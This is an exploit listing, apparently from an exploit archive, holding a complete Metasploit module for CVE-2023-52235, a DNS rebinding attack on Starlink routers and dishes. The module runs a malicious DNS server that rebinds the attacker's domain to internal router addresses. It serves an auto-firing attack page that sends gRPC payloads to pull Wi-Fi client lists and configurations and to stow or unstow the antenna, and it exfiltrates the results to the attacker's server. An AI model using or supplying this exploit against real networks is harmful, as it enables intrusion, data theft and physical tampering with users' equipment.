Share
## https://sploitus.com/exploit?id=PACKETSTORM:217643
==================================================================================================================================
    | # Title     : DNS Rebinding Exploit Module                                                                                     |
    | # Author    : indoushka                                                                                                        |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 147.0.4 (64 bits)                                                 |
    | # Vendor    : indoushka                                                                                                        |
    ==================================================================================================================================
    
    [+] Summary    : This Metasploit auxiliary module implements a DNS rebinding attack targeting Starlink infrastructure (CVE-2023-52235). 
                     The updated version focuses on improved stability and reliability by introducing safer DNS parsing, session tracking, memory handling, and basic rate limiting.
                     The module operates by running a malicious DNS server that dynamically switches responses from a public IP to internal network targets, enabling access to internal services. 
    				 It also hosts an HTTP server to deliver a client-side attack page and handle data exfiltration.
    
    [+] Key enhancements include:
    
    Robust DNS query parsing with compression handling safeguards
    Per-client session tracking with automatic cleanup
    Validation of DNS query type/class
    Controlled TTL behavior to ensure rebinding effectiveness
    Thread-safe data collection and exfiltration handling
    Input size validation to prevent memory abuse
    Graceful error handling and resource cleanup
    
    Overall, this version provides a more stable and controlled exploitation workflow suitable for testing DNS rebinding scenarios in Starlink environments.
    
    [+] POC   :  
    
    
    ##
    # This module requires Metasploit: https://metasploit.com/download
    # Current source: https://github.com/rapid7/metasploit-framework
    ##
    
    class MetasploitModule < Msf::Auxiliary
      include Msf::Exploit::Remote::HttpServer
      include Msf::Auxiliary::Report
      
      def initialize(info = {})
        super(
          update_info(
            info,
            'Name' => 'Starlink DNS Rebinding Exploit (CVE-2023-52235) ',
            'Description' => %q{
              This module exploits CVE-2023-52235, a DNS rebinding vulnerability
              in Starlink Routers and Dishy (all generations before 2023.53.0).
              
               },
            'Author' => [
              'indoushka' 
            ],
            'References' => [
              ['CVE', '2023-52235'],
              ['URL', 'https://github.com/hackintoanetwork/CVE-2023-52235']
            ],
            'DisclosureDate' => '2023-12-20',
            'License' => MSF_LICENSE,
            'Notes' => {
              'Stability' => [CRASH_SAFE],
              'Reliability' => [REPEATABLE_SESSION],
              'SideEffects' => [IOC_IN_LOGS]
            }
          )
        )
        
        register_options([
          OptString.new('DOMAIN', [true, 'Domain name for DNS rebinding', 'attacker.com']),
          OptAddress.new('PUBLIC_IP', [true, 'Public IP of the attacker server', '0.0.0.0']),
          OptPort.new('DNS_PORT', [true, 'DNS server port', 53]),
          OptEnum.new('ATTACK', [true, 'Attack type to execute', 'all', ['all', 'wifi_clients', 'wifi_config', 'dishy_config', 'stow', 'unstow']]),
          OptBool.new('AUTO_ATTACK', [true, 'Attack automatically when page loads', true]),
          OptInt.new('DNS_TTL', [true, 'DNS TTL in seconds (0-255)', 1])
        ])
      end
      
      def setup
        @domain = datastore['DOMAIN']
        @public_ip = datastore['PUBLIC_IP']
        @dns_port = datastore['DNS_PORT']
        @attack_type = datastore['ATTACK']
        @auto_attack = datastore['AUTO_ATTACK']
        @dns_ttl = datastore['DNS_TTL']
        @dns_ttl = 1 if @dns_ttl == 0  
        @internal_targets = ['192.168.1.1', '192.168.100.1']
    
        @collected_data = []
        @data_lock = Mutex.new
    
        @dns_running = false
        @dns_thread = nil
        @client_sessions = {}
        @session_lock = Mutex.new
        
        super
      end
      
      def run
        print_status("Starting Starlink DNS Rebinding Exploit (CVE-2023-52235)")
        print_status("Domain: #{@domain}")
        print_status("Public IP: #{@public_ip}")
        print_status("DNS Port: #{@dns_port}")
        print_status("DNS TTL: #{@dns_ttl}")
        print_status("HTTP Port: #{datastore['SRVPORT']}")
        print_status("Attack Type: #{@attack_type}")
        print_status("Auto Attack: #{@auto_attack}")
    
        start_dns_server
    
        start_service({
          'Uri' => {
            'Proc' => proc { |cli, req| on_request(cli, req) },
            'Path' => '/'
          }
        })
        
        print_good("HTTP server started on port #{datastore['SRVPORT']}")
        print_good("Victim URL: http://#{@domain}:#{datastore['SRVPORT']}/")
        print_status("Waiting for victim to visit the page...")
    
        last_cleanup = Time.now
        cleanup_interval = 60
        
        while @dns_running
                if Time.now - last_cleanup > cleanup_interval
            cleanup_old_sessions
            last_cleanup = Time.now
          end
          select(nil, nil, nil, 1)
        end
      end
      
      def cleanup_old_sessions
        @session_lock.synchronize do
          now = Time.now.to_i
                @client_sessions.keys.each do |client_id|
            if now - @client_sessions[client_id][:last_seen] > 30
              @client_sessions.delete(client_id)
            end
          end
        end
      end
      
      def start_dns_server
        @dns_running = true
        @dns_thread = Rex::ThreadFactory.spawn('DNSRebinding', false) do
          begin
            dns_sock = nil
            dns_sock = Rex::Socket::Udp.create(
              'LocalHost' => '0.0.0.0',
              'LocalPort' => @dns_port
            )
            
            print_good("DNS server started on port #{@dns_port} (TTL=#{@dns_ttl})")
            
            while @dns_running
              begin
    
                data, addr = dns_sock.recvfrom(512)
                next if data.nil? or data.length < 12
    
                query_id = data[0,2].unpack('n')[0]
                qdcount = data[4,2].unpack('n')[0]
                next if qdcount == 0
    
                pos = 12
                qname = ''
                jumps = 0
                max_jumps = 10
                
                while true
                  break if pos >= data.length
                  len = data[pos].ord
    
                  if (len & 0xC0) == 0xC0
                    jumps += 1
                    if jumps > max_jumps
                      print_warning("[DNS] Compression loop detected from #{addr[0]}")
                      break
                    end
                    if pos + 1 >= data.length
                      break
                    end
                    pointer = ((len & 0x3F) << 8) | data[pos + 1].ord
                    pos = pointer
                    next
                  end
                  
                  break if len == 0
                  pos += 1
                  if pos + len > data.length
                    break
                  end
                  qname << data[pos, len] + '.'
                  pos += len
                end
                qname = qname[0..-2] if qname.end_with?('.')
                pos += 1
                
                next if pos + 4 > data.length
                qtype = data[pos,2].unpack('n')[0]
                pos += 2
                qclass = data[pos,2].unpack('n')[0]
                pos += 2
    
                next unless qtype == 1 
                next unless qclass == 1  
                next unless qname.to_s.downcase == @domain.downcase
                
                question_data = data[12, pos - 12]
    
                client_id = "#{addr[0]}:#{addr[1]}"
                
                @session_lock.synchronize do
                  @client_sessions[client_id] ||= { stage: 0, last_seen: Time.now.to_i }
                  @client_sessions[client_id][:last_seen] = Time.now.to_i
                end
                
                stage = @client_sessions[client_id][:stage]
                @client_sessions[client_id][:stage] += 1
    
                if stage == 0
                  ip = @public_ip
                  print_status("[DNS] #{addr[0]}:#{addr[1]} Stage 1 -> #{ip}")
                else
                  ip = @internal_targets[(stage - 1) % @internal_targets.length]
                  print_status("[DNS] #{addr[0]}:#{addr[1]} Stage #{stage + 1} -> #{ip}")
                end
    
                response = ''
                response << [query_id].pack('n')
                response << [0x8180].pack('n')  
                response << [1].pack('n') 
                response << [1].pack('n') 
                response << [0].pack('n')  
                response << [0].pack('n') 
                response << question_data
                
              
                NAME_POINTER = 0xC00C
                response << [NAME_POINTER].pack('n')
                response << [1].pack('n')  
                response << [1].pack('n') 
                response << [@dns_ttl].pack('N')
                response << [4].pack('n') 
                response << ip.split('.').map(&:to_i).pack('C4')
                
                dns_sock.send(response, 0, addr[0], addr[1])
              rescue ::Interrupt
                break
              rescue => e
                print_error("DNS error: #{e}")
              end
            end
            
            dns_sock.close if dns_sock
          rescue => e
            print_error("Failed to start DNS server: #{e}")
            @dns_running = false
          end
        end
      end
      
      def stop_dns_server
        @dns_running = false
        if @dns_thread
          @dns_thread.kill
          @dns_thread.join
        end
      end
      
      def on_request(cli, req)
      
        sleep(0.001)
        
        if req.method == 'GET' && req.uri == '/'
          send_attack_page(cli)
        elsif req.method == 'POST'
          handle_exfiltration(cli, req)
        else
          send_not_found(cli)
        end
      end
      
      def send_attack_page(cli)
        html = generate_attack_page
        send_response(cli, 200, 'text/html', html)
      end
      
      def handle_exfiltration(cli, req)
      
        if req.body.length > 1024 * 1024 
          send_response(cli, 413, 'application/json', '{"status":"payload too large"}')
          return
        end
        
        begin
    
          data = JSON.parse(req.body.force_encoding('UTF-8'))
          @data_lock.synchronize do
            @collected_data << data
           
            if @collected_data.length > 1000
              @collected_data = @collected_data.last(500)
            end
          end
          
          print_good("Exfiltrated: #{data['type']} - #{data['data'].to_s[0..100]}")
          
         
          report_note(
            host: cli.peerhost,
            type: "starlink.#{data['type']}",
            data: data,
            update: :unique_data
          )
          
          send_response(cli, 200, 'application/json', '{"status":"received"}')
        rescue JSON::ParserError => e
          print_error("JSON parse error: #{e}")
          send_response(cli, 400, 'application/json', '{"status":"invalid json"}')
        rescue => e
          print_error("Failed to process exfiltration: #{e}")
          send_response(cli, 500, 'application/json', '{"status":"error"}')
        end
      end
      
      def send_response(cli, status, content_type, body)
        
        body = body.to_s
        cli.send_response(status)
        cli.send_header('Content-Type', content_type)
        cli.send_header('Content-Length', body.bytesize)
        cli.send_header('Cache-Control', 'no-store, no-cache, must-revalidate')
        cli.send_header('X-Content-Type-Options', 'nosniff')
        cli.end_headers
        cli.send_body(body)
      end
      
      def send_not_found(cli)
        send_response(cli, 404, 'text/plain', 'Not Found')
      end
      
      def generate_attack_page
        commands = {
          'wifi_clients' => {
            'host' => '192.168.1.1',
            'port' => 9001,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAABNK7AQA='
          },
          'wifi_config' => {
            'host' => '192.168.1.1',
            'port' => 9001,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAAcq7AQA='
          },
          'dishy_config' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAAu+JAQA='
          },
          'stow' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAAA5J9AA=='
          },
          'unstow' => {
            'host' => '192.168.100.1',
            'port' => 9201,
            'path' => '/SpaceX.API.Device.Device/Handle',
            'payload' => 'AAAABZJ9AgEI'
          }
        }
        
        commands_json = JSON.generate(commands)
        target_domain = @domain
        attack_cmd = @attack_type
        auto_attack_js = ''
    
        if @auto_attack
          delay = 3000  
          auto_attack_js = "setTimeout(() => { attack(\"#{attack_cmd}\"); }, #{delay});"
        end
        
        return <<~HTML
          <!DOCTYPE html>
          <html>
          <head>
              <meta charset="UTF-8">
              <title>Starlink DNS Rebinding Exploit - CVE-2023-52235</title>
              <style>
                  body { background: #0a0a0a; color: #0f0; font-family: monospace; padding: 20px; }
                  .container { max-width: 1200px; margin: 0 auto; background: #111; border: 1px solid #0f0; border-radius: 8px; padding: 20px; }
                  h1 { color: #f60; text-align: center; }
                  .status { background: #000; padding: 15px; border-radius: 4px; margin: 20px 0; height: 200px; overflow-y: auto; font-size: 12px; }
                  button { background: #f60; color: #000; border: none; padding: 10px 20px; margin: 5px; cursor: pointer; border-radius: 4px; font-weight: bold; }
                  button:hover { background: #f80; }
                  .danger { background: #c00; color: #fff; }
              </style>
          </head>
          <body>
          <div class="container">
              <h1> CVE-2023-52235 - Starlink DNS Rebinding Exploit </h1>
              <p>Target: <strong>#{target_domain}</strong></p>
              
              <div>
                  <button onclick="attack('all')"> FULL ATTACK</button>
                  <button onclick="attack('wifi_clients')">Wi-Fi Clients</button>
                  <button onclick="attack('wifi_config')">Wi-Fi Config</button>
                  <button onclick="attack('dishy_config')"> Dishy Config</button>
                  <button onclick="attack('stow')" class="danger"> STOW ANTENNA</button>
                  <button onclick="attack('unstow')"> UNSTOW</button>
              </div>
              
              <div><h3>Status:</h3><div id="status" class="status">[+] Ready...</div></div>
              <div><h3>Exfiltrated Data:</h3><div id="results" class="status">[-] No data yet</div></div>
          </div>
          
          <script>
              const TARGET = "#{target_domain}";
              const COMMANDS = #{commands_json};
              let messageCount = 0;
              const MAX_MESSAGES = 200;
              
              function log(msg, type) {
                  type = type || 'info';
                  const div = document.getElementById('status');
                  const colors = {info: '#0af', success: '#0f0', error: '#f00'};
                  const color = colors[type] || '#fff';
                  
                  messageCount++;
                  if (messageCount > MAX_MESSAGES) {
                      while (div.children.length > MAX_MESSAGES / 2) {
                          div.removeChild(div.firstChild);
                      }
                      messageCount = div.children.length;
                  }
                  
                  div.innerHTML += `<div style="color:${color}">[${new Date().toLocaleTimeString()}] ${msg}</div>`;
                  div.scrollTop = div.scrollHeight;
              }
              
              function exfiltrate(type, data) {
                  fetch('/', {
                      method: 'POST',
                      headers: {'Content-Type': 'application/json'},
                      body: JSON.stringify({type: type, data: data, timestamp: new Date().toISOString()})
                  }).catch(e => console.log(e));
                  
                  const resultsDiv = document.getElementById('results');
                  const dataStr = typeof data === 'string' ? data : JSON.stringify(data).substring(0, 200);
                  
                  while (resultsDiv.children.length > 100) {
                      resultsDiv.removeChild(resultsDiv.firstChild);
                  }
                  
                  resultsDiv.innerHTML = `<div style="color:#0f0">[${new Date().toLocaleTimeString()}] ${type}: ${dataStr}</div>` + resultsDiv.innerHTML;
              }
              
              async function sendGRPCRequest(cmd, config) {
                  const url = `http://${TARGET}:${config.port}${config.path}`;
                  const payloadBytes = Uint8Array.from(atob(config.payload), c => c.charCodeAt(0));
                  
                  const compressionFlag = new Uint8Array([0]);
                  const lengthBytes = new Uint8Array(4);
                  new DataView(lengthBytes.buffer).setUint32(0, payloadBytes.length, false);
                  
                  const framedPayload = new Uint8Array(1 + 4 + payloadBytes.length);
                  framedPayload.set(compressionFlag, 0);
                  framedPayload.set(lengthBytes, 1);
                  framedPayload.set(payloadBytes, 5);
                  
                  log(`Sending ${cmd} to ${config.host}:${config.port}...`, 'info');
                  
                  try {
                      const response = await fetch(url, {
                          method: 'POST',
                          headers: {
                              'Content-Type': 'application/grpc-web+proto',
                              'x-grpc-web': '1',
                              'Accept': 'application/grpc-web+proto'
                          },
                          body: framedPayload,
                          cache: 'no-store',
                          credentials: 'omit'
                      });
                      
                      if (response.ok) {
                          const responseData = await response.arrayBuffer();
                          log(`${cmd} SUCCESS! Response: ${responseData.byteLength} bytes`, 'success');
                          exfiltrate(cmd, {status: 'success', length: responseData.byteLength});
                          return {success: true};
                      } else {
                          log(`${cmd} FAILED: HTTP ${response.status}`, 'error');
                          exfiltrate(cmd, {status: 'failed', http: response.status});
                          return {success: false};
                      }
                  } catch(e) {
                      log(`${cmd} ERROR: ${e.message}`, 'error');
                      exfiltrate(cmd, {status: 'error', error: e.message});
                      return {success: false};
                  }
              }
              
              async function attack(type) {
                  log(`Starting attack: ${type}`, 'info');
                  
                  if (type === 'all') {
                      for (const [cmd, config] of Object.entries(COMMANDS)) {
                          await sendGRPCRequest(cmd, config);
                          await new Promise(r => setTimeout(r, 2000));
                      }
                  } else if (COMMANDS[type]) {
                      await sendGRPCRequest(type, COMMANDS[type]);
                  } else {
                      log(`Unknown command: ${type}`, 'error');
                  }
                  
                  log(`Attack completed: ${type}`, 'success');
              }
              
              log("Attack page loaded. Target domain: " + TARGET, 'info');
              #{auto_attack_js}
          </script>
          </body>
          </html>
        HTML
      end
      
      def cleanup
        print_status("Cleaning up...")
        stop_dns_server
        super
      end
    end
    
    Greetings to :==============================================================================
    jericho * Larry W. Cashdollar * r00t * Yougharta Ghenai * Malvuln (John Page aka hyp3rlinx)|
    ============================================================================================